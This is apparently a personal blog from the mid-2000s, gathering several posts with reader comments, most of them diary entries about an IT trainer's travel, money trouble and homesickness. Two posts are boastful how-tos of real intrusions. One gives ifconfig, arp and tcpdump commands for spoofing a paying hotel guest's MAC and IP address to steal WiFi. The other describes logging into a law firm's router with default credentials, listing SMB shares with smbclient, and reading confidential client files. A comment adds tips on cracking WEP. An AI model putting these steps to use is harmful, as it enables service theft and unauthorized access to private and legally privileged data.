Never Pay For WiFi Again

Sure, I have been stuck in a hotel for a few days with absolutely nothing to do. Left alone with my thoughts, one HBO that only plays shit, and a hotel that charges for WiFi access ... I have resorted to network violence. Even as I record this post I am starving some poor victim of bandwidth and leaving a trail of utter confusion. Allow me to explain, and before long YOU TOO can steal all of your paid WiFi access.

What you need:
* A WiFi card and an OS that allows you to change the MAC address
* A hotel that charges upwards of $200 a night, and still wants 10 bucks more for WiFi.

The idea here, is to assume the identity of a paying customer. This is tougher than it sounds. The access point will welcome you to the network by giving you an address through DHCP. Now you can talk to the access point, and nobody else. In fact, it seems if you try to ping one of the other users of the network, the access point will restrict you from gaining the MAC address of that other party. It seems they are able to stop you from getting the MAC address of anyone but the access point itself. This of course, will stop you from sending traffic to anyone else on the network. So how can you get the victim to send their MAC address to you? Become the access point.

ifconfig eth1 192.168.1.1

Now you can wait, or if you know the IP address of a legitimate paid customer, you can try pinging them now. You may get a response and you may not. It doesn't matter really. Now you can check your ARP table like this ...

arp -a

You should see the MAC address of the access point, maybe your own MAC address, and then the address or addresses of our potential victims. You might want to start up a second terminal and run ...

tcpdump -i eth1

Just watch for a few minutes and see what kind of traffic people are generating. If you start seeing requests for web pages, VPN connections, etc, those are paying customers. So get a look at their IP addresses. Just don't stay in this mode for long ... because you are derailing traffic from those folks, and confusing the utter hell out of them. Additionally, this is not very nice and you are cheating someone from the access that they paid for. Now ... let's get onto how to take advantage of them.

Now that you know the victims MAC address, and IP address, you need to assume it. This is the hard part, because a lot of OS's or WiFi cards, or BOTH will stop you from falsifying your MAC address. I suppose this is for security sake, but it pisses me off. I am trying to do all this on my MAC, and OS X hasn't allowed you to change the MAC address of the WiFi card since Jaguar. So in my case, I went out and got a "Live" distribution of Ubuntu Linux. The Live version can be booted directly from a CD ROM, and it comes in a Mac PowerPC flavor!

Having booted my distro, and having come to a terminal we do the following ...

ifconfig eth1 down
ifconfig eth1 hw ether 00:11:22:33:44:55
ifconfig eth1 192.168.1.10
ifconfig eth1 up

First, we brought down the network interface. This is a must. We can't just change our MAC address while the card is in use. For that matter, we're not "changing it" at all. Your MAC address is more or less hard-coded into the network device itself. But we can convince the OS to lie about it, and unless you get an error message ... we're in business. So the second line forced a new 'hw' (hardware) of an 'ether' (ethernet) type to '00:11:22:33:44:55'. This is an imaginary MAC address, so imagine it is that of our victim.

The third line was to configure the IP address of our victim. The last line 'raises' or starts the interface back up. At this point you ARE the victim. You have become ... THEM. You can bring up a browser and begin surfing.

What are the repercussions? There are a few. For one, the victim is probably still trying to use the WiFi access that they paid for. You are using it too .. as them. So imagine what the Access Point must be thinking. To the access point, one person is requesting all of the traffic that is actually coming from two different people. It happily answers each request. One the traffic comes back the other way, the access point sends the traffic to that 'one person' which is actually the TWO of you. So that is to say, if I bring up Yahoo.com, the web page comes back to both of you. Your victim's workstation is probably confused by this, as he didn't request that site. If your victim is especially savvy, YOU may become HIS victim, as he can see all of this traffic that only you should be seeing.

Otherwise, everything works just fine. Surprisingly.

Chicago Week #2

Why did I EVER agree to teaching two solid weeks in Chicago? Oh yeah, it was the money. That's it. At the end of last week I came home for the weekend. And never has a weekend passed by so quickly. Before I knew it, I was back at the airport and ready to go back to Chicago. Sitting on the plane, and watching my home town disappear from under me I flipped on my iPod and hit 'random shuffle'. Wouldn't you know it? Simon and Garfunkel. Homeward Bound. I have never paid that much attention to the song. It's not a song about 'going home'. It's a song about being far away from home, doing business with strangers, and questioning your sanity on the road. I just sort of welled up.

I suppose this is the life for a bachelor. Someone without any goals of family. Or someone who is just plain crazy. In fact, on my way back from Chicago last week I sat next to a guy on the plane. He was your typical "road warrior". Wearing his short sleeved Polo shirt, khaki pants, and gripping his pocket PC, he was on his way to my home town. We struck up a conversation about Columbus and what a nice town it is. "I'll only be here for an hour or so, and then I have to fly right back out". He went on to tell me how crazy his schedule is, and how he hasn't been home in nearly a month. We exchanged complaints about hotel living, airport security, lack of entertainment, etc. Near the end of our conversation he said, "it's weird you know ... living the bachelor lifestyle after all these years". I gathered from the conversation that he had a family, but he didn't know them very well any more. Divorced I imagine. Or perhaps he is one of these "barely married" types that has a wife whom he never sleeps with ... and really doesn't want to sleep with when he at home.

At any rate, the whole thing put me in a down swing, and could just see myself becoming that guy. This lonely old dude who roams the world and has obviously forgotten about what's important in life. For that matter, how does technology (and what I do with it) really make anyone happy?

My entire career is a lie. I am an "instructor". I teach people how to use products because at some point their manager or CEO was sold on said product. It is now my job to convince them that they should use it, and perhaps give them some pointers. They will then use said product to move information from point A to point B. A nice analogy to information technology might be Douglas Adam's explanation of 'the bypass' (highway) in Hitchhikers Guide to the Galaxy. He said that the bypass takes people from point A to point C. And people from point C to point A. All driving very fast of course. This leaves people in point B to wonder just what's so great about these two points that they have to drive so far and so fast to get there. I ... am at point B in my life. Information technology does little (if anything) to aid in human compassion. Being that human compassion is the only answer to true happiness, my entire career is a waste of time and money.

This leaves me in an awkward position. I can't walk into class and tell everyone why they are wasting their lives along with me. I have to keep selling this lie. As much as I try not to be ... I am part of the machine.

I need out of the training business, and I need a position where I can go home at night and do what's important, and that is to be close to my family. I need them, and they need me. I am doing nothing for my family when I am 500 miles away other then creating suffering.

Tonight I'll sing my songs again,
I'll play the game and pretend.
But all my words come back to me in shades of mediocrity
Like emptiness in harmony I need someone to comfort me.
Homeward bound,
I wish I was,
Homeward bound,
Home where my thoughts escaping,
Home where my musics playing,
Home where my love lies waiting
Silently for me

-Homeward Bound : Simon and Garfunkel

Historic Comments
Just make enough money to pay off all your debts, buy a cabin in the woods somewhere, quit your job, and drop off the radar. Sometimes the best way to deal with technology is to turn it off for a while.
Poe | 03.02.06 - 2:18 am | #

God bless you Poe. You understand!!

-Ray
Ray Dios Haque | 03.02.06 - 11:24 am | #

I've learned a lot of networking information and about dealing with life from reading your blog. Your a valuble instructor to unknown number of people over the internet.

Thank You!
Devo | 03.03.06 - 6:49 pm | #

Hey S! I can so relate on the technology front. I feel like I've forgotten much more than I remember anymore. I am so bored with being a code monkey but its the only thing anyone wants to pay me for right now.

I really want to be a Sommelier (wine expert) but I am looking at years of study and tests to get there. These tests cost money and just how am I supposed to get this money? Being a code monkey. Its a means to an end.

So, whatever happened to your attempts to break into the the security racket? I would think you'd be a natural. You'd also be able to spend more time with your familiy which seems to be the biggest issue with your current situation.

later,

Rich
Evil_Rich | 03.14.06 - 10:24 am | #

Devo - I'm glad my blogs have educated and inspired you.

Rich - Still a code monkey, eh? I just used a term the other day that you and the other code monkeys loved, "dancing balogna". That takes me back. Anyway, I would love to be a security auditor. Get paid to break into peoples networks. Unfortunately that job only seems to be available to folks with degrees, and so called "established experts". It's all a means to an end I suppose. We're just slaves together, to the information machine.

-Ray
Ray Dios Haque | 03.16.06 - 7:59 pm | #

Steel-ing Documents

This week I travelled to Pittsburgh to teach a three day course in a downtown office building. When I passed through PA last week, I was blown away by just how many Steeler fans there are (long outside of Pittsburgh). After winning the SuperBowl, the fans of course went nuts. I was unaware of the celebration that was going to take place so I was a little surprised when I went to get a room at my usual hotel and they were booked. Woops! I was able to find a slightly cheaper hotel not too far away, that also provided free Internet access and a shuttle downtown.

By the way, I have had a good couple of weeks. Last week I took the family to New York. It was a vacation. That is, I was not teaching there. We just went for fun. We saw the statue of Liberty, Ellis Island, and Niagara Falls. And now I was in my favorite city, Pittsburgh. So you won't hear any bitching and whining from me in this posting (awww shucks!).

It seems that the Steelers were having one hell of a homecoming on Tuesday afternoon. There was going to be a parade and everything. So at lunchtime, I let everyone break for an hour and half to go watch it. I myself, also went down to the streets. It was simply amazing. There were 250,000 in the streets. All of downtown, and every other Steelers fan that had rolled into town lined the streets. The players came through, cheering, waving to the fans, signing autographs, and even doing some stage diving. Yes, stage diving. It was one hell of a homecoming party, and I was lucky enough to be around at the time.

The follwing day I found myself in this 30 story office building, about 15 floors up. It was lunchtime and I had decided not to go out. I could hold off until dinner, and I had spent way too much of my travel money on t-shirts to take home to my wife (Steeler Superbowl champ shirts). While I was waiting for my students to pop back, I dropped Audrey onto the window sill and went shopping for access points. And wow ... I found a lot of them. Here is what KisMac detected in "passive mode".



I hopped onto the first one that I found without WEP enabled. It was a "linksys" access point. The signal was strong, and I had an internet connection with it. But ... that just didn't satisyfy my urge to explore. I looked around the nextwork for hosts, and found none. I was likely stuck in a private network, that was in turn plugged into a seperate private network. Notice that there are actually two networks named "linksys"? I did. And I wanted to connect to the 'other one'. Like Windows, a Mac will only display the network name, not the actual access points. And when you have two named the same thing, you never know which one you are physically connected to. Luckily, later versions of KisMac like the one I am using, allows you to right click on an access point and join it. And so I did!

Once connected I ran "findsmb" in a terminal and it came up with nothing. I was sure there were windows hosts ... or something on this network. I pinged around and got some semi-conclusive results. Right about now, nmap would be a useful tool but I just reloaded the OS on this laptop a week ago and I was without all my old tools. Where else could I get a map of this network? Of course! I need to see the DHCP lease table. I'll bet that I can connect to the access point and provide the default admin username and password to get it. So I brought up 192.168.1.1 in my browser. I used the username and password of "admin" and I was in.



Next stop was to find the dhcp clients list on this thing. These menus were awful. I much prefer D-Link for navigation. But after much digging, I found a button for the client list. This is what I got.



I know, I know. I hate to blur things out. But what I had stumbled into was obvisouly a law firm. And I don't want to go to prison. So excuse the "mosaic blurs". As you can see, there were plenty of hosts on this network (or there had been lately). A lot of these looked to be laptops. Finding them would be a matter of trial and error. Again, nmap would be helpful. I REALLY need to put some developer tools on this laptop so I can compile my goodies. In the mean time, a simple file browse request will do the trick.

OS X ships with the smbclient utility. I will use it against this list of IP addresses. The usage is pretty simple, smbclient -L //ipaddress, where the "L" says to "show me a list of your shares". When it hanged, I did a CTRL+C to cancel, and then moved to the next one. Here is my terminal dialogue ...

Last login: Wed Feb  8 11:57:59 on ttyp1
Welcome to Darwin!
Ray-Dios-Haques-Computer:~ rayhaque$ smbclient -L //192.168.1.101
session request to 192.168.1.101 failed (Called name not present)
ç^C
Ray-Dios-Haques-Computer:~ rayhaque$ smbclient -L //192.168.1.102
timeout connecting to 192.168.1.102:445
Error connecting to 192.168.1.102 (Host is down)
Connection to 192.168.1.102 failed
Ray-Dios-Haques-Computer:~ rayhaque$ smbclient -L //192.168.1.105
Password: 
Domain=[PARALEGAL] OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]

        Sharename       Type      Comment
        ---------       ----      -------
        My Documents    Disk      
        IPC$            IPC       Remote IPC
        print$          Disk      Printer Drivers
        SharedDocs      Disk      
        Printer7        Printer   SHARP AL-1641CS (Copy 1)
        Printer4        Printer   Sharpdesk Composer
        Printer5        Printer   SHARP AL-1641CS (Copy 3)
        Printer3        Printer   SHARP AL-1641CS
        sharp           Printer   SHARP AL-1641CS (Copy 2)
        Printer9        Printer   PrimoPDF
        Printer2        Printer   HP Deskjet 3840 Series
        MARCIAL         Disk      
        Printer         Printer   HP Image Writer
session request to 192.168.1.105 failed (Called name not present)
session request to 192 failed (Called name not present)
Domain=[PARALEGAL] OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
Ray-Dios-Haques-Computer:~ rayhaque$ smbclient 
Usage: [-?EgVNkP] [--usage] [-R NAME-RESOLVE-ORDER] [-M HOST] [-I IP] [-L HOST]
        [-t CODE] [-m LEVEL] [-T IXFqgbNan] [-D DIR] [-c ARG] [-b BYTES]
        [-p PORT] [-d DEBUGLEVEL] [-s CONFIGFILE] [-l LOGFILEBASE]
        [-O SOCKETOPTIONS] [-n NETBIOSNAME] [-W WORKGROUP] [-i SCOPE]
        [-U USERNAME] [-A FILE] [-S on|off|required] service 
Ray-Dios-Haques-Computer:~ rayhaque$ smbmount   
-bash: smbmount: command not found
Ray-Dios-Haques-Computer:~ rayhaque$ mountsmb
-bash: mountsmb: command not found
Ray-Dios-Haques-Computer:~ rayhaque$ mount -t smb
Ray-Dios-Haques-Computer:~ rayhaque$ mount -t smb //192.168.1.105/MARCIAL
usage: mount [-dfruvw] [-o options] [-t ufs | external_type] special node
       mount [-adfruvw] [-t ufs | external_type]
       mount [-dfruvw] special | node
Ray-Dios-Haques-Computer:~ rayhaque$ mount -t smbfs //192.168.1.105/MARCIAL
usage: mount [-dfruvw] [-o options] [-t ufs | external_type] special node
       mount [-adfruvw] [-t ufs | external_type]
       mount [-dfruvw] special | node
Ray-Dios-Haques-Computer:~ rayhaque$ 

It looks like I found a winner. He has a couple of interesting looking shares. It's too bad I can't remember how to mount a share from terminal. Instead, I end up using "Finder" to "Connect to server ...". Here is that box.



There is a delay, and I am now asked to authenticate. This could be a problem, as I am not a user on their domain/directory ... if they have one. I will try "guest" with no password. This probably won't work.



Oh, and it does work. How sad! I wonder what we will find here. Let's have a look at this share, shall we?



These look like ... "lawyer stuff" ... or something. Let's have a closer look.



Looks like an interesting story. Some womans husband is getting deported, and she is asking that they please not take him away. How is it this guy rakes in $94k a year raising horses. I'm in the wrong fucking business. Either I need to start raising horses, or become an immigrant and hook up with one.



I don't know what this fingerprint business is about. But I thought it looked amusing.

There were no doubt other goodies on this workstation, but I had a whole network to explore, and lunchtime was going by fast. I went ahead and moved onto my next target. Here is that terminal dialogue ...

Last login: Wed Feb  8 12:09:52 on ttyp2
Welcome to Darwin!
Ray-Dios-Haques-Computer:~ rayhaque$ smbclient -L //192.168.1.106
session request to 192.168.1.106 failed (Called name not present)
session request to 192 failed (Called name not present)
Password: 
Domain=[ATTORNEY] OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]

        Sharename       Type      Comment
        ---------       ----      -------
        Clients         Disk      
        My Documents    Disk      
        IPC$            IPC       Remote IPC
        print$          Disk      Printer Drivers
        SharedDocs      Disk      
        C               Disk      
        Impro56         Disk      
        Printer3        Printer   PrimoPDF
        Printer5        Printer   KONICA MINOLTA PagePro 1350W (Copy 1)
        Case Lists      Disk      
        Printer2        Printer   KONICA MINOLTA PagePro 1350W
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        Printer         Printer   Microsoft Office Document Image Writer
session request to 192.168.1.106 failed (Called name not present)
session request to 192 failed (Called name not present)
Domain=[ATTORNEY] OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
Ray-Dios-Haques-Computer:~ rayhaque$ 

You'll that it asks me for a password at some point, and I just sort of struck the enter key as if to say "I don't need no steenkin' password". That seemed to do the trick, and I got a list of shared stuff. Would you LOOK at these?

Note to prospective network users/attorneys/fucktards: Do not share your entire client list, without security, calling it Clients, and leave it laying on a non-secured access point. Do not share "My Documents". They are YOUR fucking documents. Not mine. Keep them to yourself. Do not share your entire C drive. In fact, having shared your entire C drive in such a manner, you can disregard all of these other rules -because you are an idiot, and you blew it.

I attach to the "C" share just to see if the user was indeed that stupid. They were. I hit the "Clients" folder to see if it does indeed have a list of clients, or documents pertaining to their client base. It does.




This is the point at which I make an ethical decision. Should I delve into the lives of others and begin reading their personal files? Do I really want to explore the legal matters of strangers, and further incriminate myself?

...

Of course I fucking do it! Here are some samples of the better tidbits I found.




Just when I was getting to the really good stuff my students started returning to lunch. My laptop is a real eye sore, and Audrey just loves the attention she gets for her "Franken-stein-ish" appearance. After having a couple of awkward moments with students having over my shoulder asking "whatcha' doing?" I decided to end this adventure and get back to work.

Next time I am out in Pittsburgh I really need to go wardriving, or better yet war-walking.

Historic Comments
Christ Ray, see what happens when you try to do a bigboy job with a "mac"?

"Where else could I get a map of this network? Of course! I need to see the DHCP lease table"

Fuck "findsmb" dude. Hitting the lease table it first on my list. No waiting, no guessing, and if someone is dumb enough to name their router "Linksys" then there is a 92.3% chance the default password is the same.

On a side note, I would have to say as of late that I really like the Auditor (or BackTrack) live Cd from remote-exploit.org. It just have all the tools/drivers in one package.

Now, add that with a network card that supports packet injection and you've got wep cracking in less than a couple minutes. Longer for 3 types of wpa.

anyways....i digress....i need ben and jerry's.
Phrightener | 02.10.06 - 11:17 pm | #

you law breaker you
LiteHedded | Homepage | 02.14.06 - 10:33 am | #

Should have renamed their documents: Dear John Letter, People I'm Firing, People I'm Sleeping With, Embezzelment Funds, Potato Bar, etc...

Keep them guessing when they need that document next.
Poe | 02.16.06 - 7:35 pm | #

Phrighty: I love you. When are we going to finally get together and have gay sex? I'm going to have to check out that Auditor distro. I was just telling someone the other day about how cool Knoppix-STD was before it got so old and useless.

Poe: Hah! They would probably learn to live with the annoyance instead of figuring out how to fix it. "Where is the Smith case?" - "Oh, check the 'Go Fuck Yourself' folder, and open up 'i shit myself lol.doc'.

-Ray
Ray Dios Haque | 02.21.06 - 8:19 pm | #

Seeing Stars

Long, long, ago ... you could step outside and see the stars. Perhaps you still can. But that means you live far enough away from the lights of the city, that you can still make out the sky the way it was meant to be viewed by man. Staring out into the far reaches of space, with nothing but air and cold space seperating you and a distant planet.

As I sped down the highway sipping my tea, I jerked the wheel narrowly avoiding certain death as my eyes wandered to the sky and back to the road again. It was going to be a LONG day. I had started my day at 9:00AM that morning. My venture to the "buy and sell shop" only put me ahead by $50 and I was about $6.00 short of what I needed to get home. But, I had pulled together about all the money I was going to get and wished for the best. It was now going on 11:00PM and I was traveling cross-country only stopping for gas, and buying that with my "Health Savings". I was short the amount needed for three nights in a hotel, so the first night I would be driving straight to my training job. That meant that by the time I arrived to get the job done, I was all ready up for 24 hours.

I have pulled "all nighters" in my time. But this one was pretty bad. This was an all nighter, an all dayer, and another late night. Just about a full 36 hours of driving, standing and talking, and eventually seeking rest.

By the time class was over, I was starting to get a bad case of "un-rest". At some point at around 36 hours of being awake and active your brain begins to melt away. The continous feeding of aspirin and caffiene probably only aggravate the onset. For me, the effect is hearing strange noises that aren't really there. Almost like you can pick up a radio station but you just can't make out the words. Also, your legs feel like giant spongy hotdogs, and they begin to stop working causing almost a wobbling drunken stupor. I hopped in my car and drove straight to my hotel. Yet, my hotel was an hour away ... and with traffic it was almost two hours away. I needed sleep bad.

I just couldn't wait to get into that disgusting dirty bed at the Motel 6. I was craving it! I popped into the lobby, waited in line, and laid down my "Internet Registration", which had given me a savings of near $14!! The clerk (after doing all the paperwork stuff) softly laid my credit card down and asked, "do you have another form of payment sir?". I think my response was something to the effect of "you have got to be fucking kidding!". He was not. I had some issues now. Sure, I had enough for one night in a hotel, but that would be all the cash I had. And then I wouldn't have gas for the ride home.

I ran across the street to a payphone and called the bank that hosts my Health Savings account. I'm not sure how happy they would be that I was blowing the money on gas and hotel rooms, but they didn't seem to care. "Your balance here shows as $147.00 sir". Moments later I got my wife from my cell phone.

Me: Guess who's sleeping in his car tonight?
Her: You're kidding? What happened?
Me: I don't know. They won't take my card. I called the bank, they can't explain why it's being declined. Good night. If you need to get a hold of me, you can call my cell phone. But you will have to talk fast because I just ran out of cell minutes.
Her: Okay *sigh* Bye!

It was getting cold fast as the sun had set several hours ago, and it was going on 8:00PM. The area around my hotel was not the best place to be in town after dark. My best bet would be to find some place warm that I could literally *hide* for the night. There was a Wal-Mart nearby and I we beginning to devise a plot to hide myself behind bedding. Nobody would look back there, and I would definitely stay warm and comfortable. But I had to move fast. My brain was on the verge of a mental callapse and I was becoming emotionally unstable.

About the time I was starting the car, my wife called.

Her: Go buy phone minutes and call me back. We are going to wire you some money.
Me: Okay!

My wife was moments away from saving the day. With that, I ran into a Target and picked up a phone card. There was an ATM machine there, so I went ahead and inserted my credit card and although I didn't know my PIN number, I asked for a balance. It spit out a receipt stating "$72" was my present balance. Hrm ... that is exactly HALF of what the credit card company is telling me that I have. That can't be a coincidence. So I buy my phone card (with my Health Savings card -and it worked), I charge up my minutes, and I call her back.

Her: Where are you right now?
Me: I ... I don't know. I'm in a Target ... somewhere.
Her: That doesn't help me.
Me: I have the phone number to this store, but I don't see the address on this receipt.
Her: Whats the phone number?

It seems that you can locate Western Union locations by using the phone number of a residence or business ... and there was a Western Union about a block away. Thankfully, my brother in law had overheard what was transpiring and decided to help us out with a quick loan. Driving down the street a ways I located this grocery called "Weis". It was a lot like the local grocers back in my home town that are now owned by independents and are usually pretty dirty. This one was very dirty, and seemed to attract a lot of drunks. But, it was a Western Union hotspot, and I was about to get some money!

My brother in law Scott phoned me, and went off to set up the transfer. All there was to do now is to wait. Funny thing about sleep deprovation ... your body tends to want to shut down on you when you stop using it and slow down for a minute. So perhaps I should have found a place to sit for a while. As if it my legs suddenly took control of themselves, I found myself buckling sideways. Trying to regain my posture, I lunched to grab a hold of something and stumbled backwards over a couple of bags of dog food. Then I just came crashing down face first, throwing arms out, and taking a blow to my elbos. It hurt. Now I was on the floor laying over a bag of dog food, and my backpack had slid up my back striking a blow to my head. I stood up, snapped up my glasses, and looked around. A couple of clerks gave me a dirty look and went on about their ways. I probably looked like a drunk.

Just under an hour later, I was walking out of the grocery, with $200 cash in my wallet. I would get a hotel. I would sleep. Life was good.

On the way back home, I couldn't see any stars. Just rain, and a lot of fog. But just about 100 miles from home the clouds cleared, I drove away from the lights of a small city, and the stars emerged again. It's as if things just become clear when you leave home, and drive 400 miles away from it. And what was clear to me was that I missed my family desperately.

It's good to be home.

Historic Comments
Glad to hear you got there and back without freezing. Hopefully the phone will soon be ringing off the hook with classes near you.
Spuzz | 01.14.06 - 7:00 am | #

I love you man!
Jason heckathorn | Homepage | 01.17.06 - 9:24 pm | #

I know the feeling. Except in my case it is the opposite. I grew up in Oklahoma and because of the weather patterns thunderstorms were common. I now live in Arizona and it does not rain much here. During monsoon season here in Arizona I like going out and watching the storms roll in. My wife thinks I am crazy but I guess the storms remind of home.
Dennis | Homepage | 01.20.06 - 10:55 am | #

Friday Deadlines

It's now Friday. The time: 5:16PM. The plan was to be on my way back from the bank at this point having deposited what was owed to me, and counting out a couple of large bills to finance my trip to Maryland.

Instead, I have been left empty handed with not so much as a phone call from the accounting controller who said "give a call on Thursday and Friday and I might have your check".

I have $147.23 to my name in the form of a Health Savings Account. This is a special account that is to be used for medical, dental, or pharmacuticals. I will be traveling across the country with it to buy gas, and one nights hotel stay. Just one night though, and that's the problem. I have two more nights stay unaccounted for. I have all ready figured that I can try to sleep a couple hours Sunday night, and then drive all night into Maryland -arriving to my class a bit sleepy, but ready to teach. Yet, I am still left with one night that I have planned on spending in my car. If it were summer, maybe it wouldn't be so bad. But it's cold as hell outside right now, and it's a little colder where I am headed. Unless I leave the engine running all night, I am going to freeze to death. Plus I will be ... filthy. I will have to do the old "cup o' shower" in a fast food restroom.

I have racked my brain for options, and I keep coming up dry. At one point I thought maybe I could stay at a campground, with electric. Then I could stay warm at night with an electric heater, and maybe even catch a hot bath in the morning. Sadly, camp grounds don't open until March ... on account of it being so fucking cold. I checked out bed and breakfast joints in the area, but those cost more than a hotel ... on account of the luxurious clean sheets and hot meals (who needs those). I thought that the YMCA also had "rooms" available which consisted of a cot, and a shared bath. But I guess I made that up, because I couldn't find any.

In the morning I will be running up to the local "buy and sell" movie shop to sell off a few DVD's from the collection.

How about I end on a quote that nobody will appreciate?

In the Nanny From Hell episode of Curb Your Enthusiasm, the nanny tells Larry David, "So basically I'm a homeless person ... except I don't stink!". Man, that was a funny episode. I hope I don't have to sell that season of episodes away. I haven't watched them all yet!

Next episode: How to survive three days away from home, buying only fuel!

Historic Comments
The cheapest place to stay is a Hostel, check for them in your area online.
Anonymous | 01.06.06 - 9:46 pm | #

You were right about Hostels. Killer concept. I think I caught something about them on a show on the Discovery channel a ways back. I found one outside of town near a State park. It was about an hour drive, but hell, for $20 it was well worth it! That place had a 'self serve kitchen', lockers, and even Internet access. Only problems is, they will only book "large groups" until January 20th. What's that about?

All the other Hostels I could find were in Baltimore. Which I wouldn't mind driving to, but it literally takes nearly three hours to get in and out of because of DC traffic.

I will be looking for Hostels for anywhere else I go. They seem like a good idea. And hell, as noisey as some of my neighbors have been in Hotels, I don't realy mind "bunkin" with strangers.

-Ray

Oh, and here is a nice URL for anyone interested in Hostels:
http://www.hihostels.com/
Ray Dios Haque | 01.06.06 - 11:27 pm | #

Missing Fortunes

You ever opened a fortune cookie and thought, "what the hell is this supposed to mean"? I know I have had my share of them. A week or so ago my wife and I were free from the kids for the afternoon so we crashed our favortite chinese buffet. I must have stuffed my after-meal fortune into my pocket and forgotten about it. Just yesterday, I pulled that fortune back out of my pocket as I was trying to find a sugar packet that I had stowed away for a cup of tea. Here is what it said.

"Your courage will bring you honor"

I chuckled, and put it back into my pocket thinking "I hope that I won't find meaning in this fortune today, but what could go wrong?". I have had a very easy couple of weeks. That is, I have had a lot of time off from teaching. The holidays are pretty bleak for the training business that I am in. It seems that nobody wants to come to classes in December. Most folks are blowing vacation days that they have been stowing away. Others are busy with festivities, and have a hard time keeping up with work as it is. So as we suspected, the phone went dead and e-mails stopped pouring in. But, it was expected. I planned for this. I have a couple of checks coming from work in early December, and we are starting to book classes for January. Nothing to be concerned about.

With nothing on my chest, I have been able to really enjoy the holidays. Going out to lunch with my wife is always nice. Playing video games with my kids still serves as pretty enjoyable for me. And I had plenty of time to work on Christmas projects such as the "photo album/scrapbook" for my wife, and some refurbished iMacs for my kids.

So yesterday I was sitting in a SharePoint class (as a student). I had decided it would be good to see the other side to SharePoint that I don't teach (and probably never will). This was a development class, and after the first day of this two day class it was pretty obvious that I didn't belong there at all. I was anxious to pick up a check for some work I had done at this training center, and I had yet to been able to contact the accounting controller who generally lets me pick up my check. So around lunch time I was able to get her on the phone. "Hey, do you have a check for me?". "Uh, no. Your next check is coming on the 13th". That was bad news. I NEEDed that money. Really badly. I have a very large electric bill. The gas bill would come a day later (it was pretty bad). And I just got done re-working my mortgage. The mortgage re-work meant that I wouldn't have to make a house payment until March ... but they expected some fees to be paid up front.

It seems that the training center had simply lost my invoice. There was come confusion where they think it may have been placed under my company name, and not my given name. This was somehow enough to throw off the accounts payable person ... who in turn didn't pay me. But they found the invoice, they admit some err. It can be fixed right? "I will research this and call you", she says. "Can you call my cell phone when you find something?". I gave her the number. Then went back to class. For the next couple of hours I was watching my phone .. and waiting. When it got to be after 3:00PM I began trying to call her again. She didn't answer, and it didn't surprise me. Maybe she was blowing me off.

My class ended, and I stayed behind. Before long, all the students, instructors, and most of the staff had left. A couple of guys showed up to clean the carpets. And the intern showed up to watch the front desk until they locked the building. She said hello to me, and I indicated that I was waiting for the accountant. She said "you must need paid". I replied, "you have NO idea". I waited.

After half an hour or so, the intern returned. "Are you still waiting for her?". I nodded. "If you need to wait for me to leave, before you leave, I can get out of here". "Oh no", she said, "I will be leaving at five regardless". And with that, she went back to the desk. At about ten minutes to five, she returned. "I called her .. she said she didn't forget about you, and she will call you or come down in a few minutes". A few minutes later, she was on the phone for me at the front desk.

"Hello!", I said, "I hope you don't think I am stalking you. I just need an answer about this before I leave today"
"I understand", she says. "We found the invoice, and we are going to pay this on the 9th".
"*gulp* ... any chance of getting this paid sooner?"
"No, I have closed everything up for the month. I will be paying expenses on the 9th, and I can slip your check into that"
"Hrm ... okay"
"Do you need the money sooner?"
"Yes ... oh yes. I'm going to be in some trouble here"
"I'm sorry ... I may be able to get it to you this coming Friday ... maybe even Thursday"

And so I left, defeated, and not holding onto a check which I desperately needed. I suppose this is the risk of the business I am in. Working for yourself has it's rewards. Like the fact that I haven't taught a class in a couple of weeks, and yet I still grossed about what I was making a year ago working full time. Yet, getting paid on time has been a real challenge. And now I had a lot of phone calls to make. I thought my first move should probably be the bank.

As I was driving home sitting in Friday rush hour traffic I thought I might just have enough time to call the bank once i got home and plead with them, but I would be cutting it close. But hell, I would be driving past the bank to get home. So perhaps I should just stop. I rolled into the parking lot and flew straight to the teller. I must have said something like this.

"I'm in trouble ... rather, me and my account are in trouble"
She gave me a blank stare, and continued to do whatever she was doing. Stamping things, and moving paper around.
"I'm sure my account is in the negative, and by morning it will be doing summersaults".
"What's your account number?"

She looks up my account information, hits the spacebar a couple of times, and says "yeah, you are overdrawn, and you have two checks getting returned".

"My problem you see ... is that I should be here to deposit a paycheck ... and I didn't get paid. I was supposed to get paid, and they say they lost my invoice. And I won't be getting paid until the 9th ... is there anything we can do to stop the damage to my account? Can we freeze it, or put a hold on it or something?".
"No", she says rather quickly, "Do you have some money to put in the account?".
"No, that's my problem"
"Well ... there's not much we can do about that"
"Okay ... well .. any advice?"
"Yeah ... don't write checks when you don't have money in your account"

Now at this point you would think, Ray ... you MUST have gone over the counter. Right? Oh no. I have dealt with snottier people in my time. Hell, I have dealt with snottier people this month. I certainly wasn't in the mood. And I am quite sure I am not yet done explaining to various parties why I don't have "their money". But here was someone who has obvisouly always been paid on time (hell, she works for a bank). She may never know the insecurity of not really knowing if you will be paid at all. Likely, she will retire and never miss a paycheck. So, I don't expect her to understand what it would be like if someone had just mis-placed her only source of income, and left her to deal with it.

The Dalai Lama is a smart cat. Here is what he says about people who are short with you. In fact, he would make the same statement about those people who you might consider a total enemy. He says, "respect your enemies, for they are the only ones who allow you to practice patience". With that in mind ... I suppose this bank teller giving me a hard time, was definitely giving me some practice. But she wasn't helping me ... at all. And so I got back on track to get home.

So now what? I had about five dollars to my name. And truth be told, I had a lot less. By tomorrow checks would be bouncing like a truckload of high-bouncer balls. By next week, I will be in assloads of debt (with everyone) and it will take weeks to recover. Do you see the irony in my fortune cookie yet? Something told me when I pulled that damned thing out of my pocket just hours earlier, that I would later "get it". I was getting it now. There's really nothing to do in a situation like this, but deal with it. Here is what the Dalai Lama would say on the topic of a problem like this. He says, "if something is broke .. fix it. If it's broken, and it can't be fixed, there is no sense in worrying yourself about it".

And so, a plan began to come into place. I could probably hold off a few bills. People like the utility companies aren't too tough to deal with. If they don't make deals to keep your electricity running, or your gas flowing you can always go file a complaint against them. Your complaints are generally overturned, and tossed out. But by the time all that paper has been pushed, you have that money to pay them back and all is forgotten. But, I would need a couple of dollars for food and such. We probably had a few dollars laying around somewhere.

